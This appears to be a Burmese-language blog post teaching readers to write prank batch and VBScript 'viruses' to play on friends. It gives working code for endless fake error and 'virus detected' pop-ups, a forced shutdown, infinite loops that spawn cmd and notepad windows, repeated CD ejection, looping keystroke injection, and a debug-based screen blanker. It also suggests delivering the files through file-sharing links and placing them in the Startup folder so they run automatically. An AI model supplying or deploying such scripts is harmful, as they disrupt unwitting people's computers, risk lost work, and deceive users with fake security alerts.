သူငယ္ခ်င္းေတြကိုေနာက္ဖို႔ Bat File နဲ႔ VBS File ကေလးေတြ လုပ္ၾကည့္ရေအာင္…
 အရင္ဆံုး Notepad ကိုဖြင့္ရပါမယ္..
window key + R ရယ္ႏိွပ္ၿပီး Run Box ထဲမွာ Notepad လုိရိုက္ပါ။


Notepad Box က်လာပါလိမ့္မယ္…

 စမယ္ေနာ္..
ဒီဖိုင္ကေလးရဲ႕လုပ္ေဆာင္ခ်က္က ကြန္ပ်ဴတာထဲမွာ
You are fool ဆိုတဲ့ Massage Box ကေလးေတြ တတ္လာဖို႔ပါ…
အေနာက္က Msg * You are Fool မထည့္ပဲ START ခ်ည္းပဲ ဆိုရင္ေတာ့

Cmd …(Command Prompt)ခ်ည္းပဲ ထြက္လာမွာပါ…
ဒီဖိုင္ကေလးကို *.bat ဖိုင္ Extension နဲ႔ Save ပါ။ ကိုယ္ထည့္ထားသေလာက္ကို windows ေပၚမွာတတ္ေနမွာပါ။

Code:

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

START Msg * You are Fool

 ကူးထည့္ၿပီးရင္း *.vbs နဲ႔ Save ရပါမယ္
ေနာက္တစ္နည္းထပ္ေျပာျပပါဦးမယ္..
Error Massage Virus  လို႔အမည္ေပးထားပါတယ္..
ထံုးစံအတိုင္ Notepad ထဲမွာ ကူးထည့္လိုက္ပါခင္ဗ်။ ဒီဖိုင္ကေလးကိုေတာ့ *.vbs ဖိုင္ extension နဲ႔ Save
ရမယ္ခင္ဗ်..

Code:

do

x= msgbox("Your Computer is damaged", VbCritical, "Warning")

x= msgbox("Virus Found",VbCritical,"Warning")

x= msgbox("Shutting Down", VbCritical, "Warning")

loop

သူ႔ရဲ လုပ္ေဆာင္ပံုက
Windows ေပၚမွာ Error Massage ကေလးေတြး ပိတ္လိုမရေအာင္ တတ္ေနေအာင္လို႔ပါ…။
("You Computer is damaged”) ကြင္းစကြင္းပိတ္ထဲမွာ မိမိႀကိဳက္ႏွစ္သက္တဲ့စာကို
ထည့္ႏိုင္ပါတယ္.. ျမန္မာလိုေပၚေစခ်င္တယ္ဆိုရင္ ဥပမာ။("သင္၏ကြန္ပ်ဴတာ ပ်က္ဆီးသြားပါၿပီ”)
လို႔ထည့္ၿပီး Notepad ထဲမွာ Save လုပ္တဲ့အခါ File name = Error Massage Virus.vbs လုိ႔ထည့္ပါ။
Save up type မွာ All File လို႔ေျပာင္းပါ…ၿပီးရင္ Encoding မွာ Unicode လို႔ေျပာင္းပါ..
တစ္ခုသတိထားရမွာ က သူငယ္ခ်င္းတို႔ရဲ႕ ကြန္ပ်ဴတာ ထဲမွာ Zawgyi-One Unicode ကုဒ္ရွိဖို႔လိုအပ္ပါတယ္။

Code:

test1= msgbox("Please contact Administrator",16, "Warning")

test2= msgbox("Please contact Administrator",16, "Warning")

test3= msgbox("Please contact Administrator",16, "Warning")

test4= msgbox("Please contact Administrator",16, "Warning")

ဒီ code ကေလးကလည္း အေပၚက အတိုင္းပါပဲ Error Massage Box လုပ္တာပါပဲ
သူကေတာ့ ကၽြန္ေတာ္က Test4 အထိပဲေပးထားလို႔ (၄)ခါေလာက္ပဲ တတ္လာမွာပါ။
အမ်ားႀကီးေပးရင္း အမ်ားႀကီးတတ္လာမွာေပါ့ဗ်ာ ေနာ့ ။
ကဲ ဒီတစ္ခါ ထပ္ေျပာခ်င္ခ်င္တာက နည္းနည္းၾကမ္းတဲ့နည္းကေလးေတြ ဗ်ာ …
Shutdown Virus ေပါ့ဗ်ာ
ဒီဖိုင္ကေလးကိုေတာ့ *.bat ဖိုင္ Extension နဲ႔ Save ေပါ့…
ဒီ Code ကေလးကေတာ့ သင္ရဲ႕ ကြန္ပ်ဴတာ ကို Second 300 အတြင္းမွာ
Shutdown က်ေစမွာပါ…   အဲ… -s ေနရာမွာ -r ဆို ရင္ Restart ျဖစ္တယ္ေနာ.္…

Code:

@echo off
msg * Hay Your Computer is Shutdown – Wait 300 S
shutdown -s -t 300 c "Virus Infection Detected System Going to Shutdown"

Notepad Virus လို႔နာမည္ေပးထားတယ္…
ဒီဖိုင္ကေလးကိုေတာ့ * .bat ဖိုင္ Extension နဲ႔ Save ပါ။
သတိ - နည္းနည္းျပင္းတယ္ေနာ္…

Code:

@echo off
:A

start cmd
start notepad
 goto :A

ေနာက္ထပ္ Code …

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

ေနာက္ထပ္ နည္းေကာင္းေလးတစ္ခု -
ဒါေလး က သူငယ္ခ်င္းတို႔ ရဲ႕ CD  Drive ကိုပိတ္လိုက္ဖြင့္လိုက္လုပ္ဖို႔ေလ..
ဒီဖိုင္ကေလးကိုေတာ့ …*.VBS Extension နဲ႔ Save ပါ…
Ghost CD Drive ေပါ့….

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

ကဲ ဒီတစ္ခါ KeyBoard နဲ႔ ပါတ္သက္တာေလးေတြ ေျပာျပမယ္
ဒီ Code ကေလးရဲ႕လုပ္ေဆာင္ခ်က္က … Save ရမွာ က *.Vbs Extension နဲ႔ေနာ္…
Caps Lock ကို ပိတ္လိုက္ဖြင့္လိုက္လုပ္ေနလိမ့္မယ္..

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

ေနာက္တစ္ခုကက်ေတာ့…
Enter Key ကို ဆက္တိုက္ႏွိပ္ေနလိမ့္မယ္..

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

ဒါက Backspace ကိုဆက္တိုက္ ျပန္သြားေနမွာ..

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

ဒါေလးကအရမ္းမိုက္တယ္…ေနာက္လို႔လည္းေကာင္းတာေပါ့ေနာ္..
Keyboard ကေန သူငယ္ခ်င္းက ႐ိုက္စရာမလိုပဲ
You are a Fool လို႔ေျပာေနမွာေလ..
စာ႐ိုက္လိုရတဲ့ေနရာမွန္သမွ်မွာေပါ့… ….

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

ဒါေလးလည္း မိုက္တာပဲ
ကြန္ပ်ဴတာေမာ္နီတာကို ဘာမွ မျမင္ရေအာင္လုပ္မွာေလ..
Save တဲ့အခါ *.bat Extension နဲ႔ Save ပါ။
အလင္းေရာင္ဖန္သားႀကီးပဲ ေပၚေနေအာင္ေပါ့…

Code:

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul

ျပန္ထြက္ခ်င္ရင္ …. CTRL-ALT-DELETE ကိုတဲြႏိွပ္္ေနာ္…
ေနာက္တစ္နည္း..

Code:

@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul
del z.dbg

ဒါက်ေတာ့ ျပန္ထြက္ ခ်င္ရင္..
Ctrl+Shift+Esc နဲ႔ ျပန္ထြက္ရမယ္ေနာ္..
မွတ္ခ်က္ ။ Windowes 7 မွာ အလုပ္မလုပ္ပါ။
ကဲသူငယ္ခ်င္တို႔အတြက္ ဖတ္မိသေလာက္ ေလ့လာမိသေလာက္
ျပန္ၿပီးမွ်ေ၀လိုက္တာပါ…
သူငယ္ခ်င္းတို႔ အကို ၊ အမ၊ ညီ၊ ညီမတို႔ေရ..
ေပ်ာ္ႏိုင္ၾကေစ ေနာက္ႏိုင္ၾကေစေပါ့…
အဲ… ေျပာဖို႔ က်န္ခဲ့တယ္…
ေနာက္ပံုေနာက္နည္းက Internet မွာဆိုရင္…
FileShared လုပ္လို႔ ရတဲ့ www.2shared.com တို႔  Media Fire တို႔လို႔ Website ေတြကေန
Link လုပ္ၿပီးသူငယ္ခ်င္းဆီပို႔တာတို႔… ဒါေပမဲ့ VBS တို႔ Bat ဖိုင္တို႔ဆိုရင္ သိတဲ့သူက ႏွိပ္၀ူး ေနာ္..
အင္း PC မွာဆိုရင္ေတာ့… All Program ထဲက Startup ဖုိင္ထဲမွာ သြား ၿပီး copy /Paste လုပ္ထားလိုက္ေပါ့ေနာ္..Shutdown က်ေစမဲ့ဟာမ်ဳိးေတာ့ သြားမလုပ္နဲ႔ေပါ့…
Startup ဖိုင္ထဲက ဖိုင္ေတြ ကို ကြန္ပ်ဴတာက စဖြင့္တာနဲ႔ Auto Run လို႔ေလ…
အင္းမေနာက္ခ်င္ေတာ့ဘူးဆိုရင္ေတာ့… Startup Folder ထဲက ဖိုင္ကိုသြားဖ်က္လိုက္ေပါ့ေနာ္..
အဲ ေနာက္တစ္ခုေျပာဖို႔က်န္ေသးတယ္.. *.VBS Extension နဲ႔ စမ္းတဲ့ဟာေလးေတြကို ျပန္ထြက္ခ်င္ရင္…
Task bar မွာ Right Click ေထာက္ၿပီးေတာ့ Task Manager ေခၚ ဒါမွမဟုတ္ရင္ Ctrl+Alt+Del ကိုႏွိပ္
Task Manager ပြင့္လာရင္ Processes ကိုသြားၿပီး wscript.exe ကိုရွာၿပီ End process လုပ္လုိက္ေပါ့
ေနာ္..


ေနာက္ဆံုးလက္ေဆာင္တစ္ခုေပးဦးမယ္…
ဒါေလးကလည္း Notepad ထဲမွာ သံုးလို႔ရတယ္ေလ..English အသံထြက္ေတြဘာေတြ သိခ်င္ရင္
႐ုိက္ထဲ့ၿပီး နားေထာင္လို႔ရတာေပါ့…ထံုစံအတိုင္း Notepad ကိုဖြင့္ ၿပီးရင္
ဒီ Code ကေလးကို ကူးထည့္လိုက္ ..Save တဲ့အခါၾကရင္ *.Vbs File နဲ႔ Save …
Save တဲ့အခါ Unicode နဲ႔ Save ေနာ္…


Code:

Dim msg, sapi

msg=Inputbox ("Enter your text under Text Box  http://myokyawthu.do.am","စာရိုက္လွ်င္အသံထြက္မည္")

Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
 

ကဲသူငယ္ခ်င္းတို႔ ၊ အကို ၊ အမ ၊ ညီ ၊ ညီမ တို႔ေရ… အေနာ္ရဲ႕ web site ႕ေလးကို
၀င္လာၿပီး အားေပးတဲ့ အတြက္အမ်ားႀကီးေက်းဇူးတင္ပါတယ္ခင္ဗ်ာ…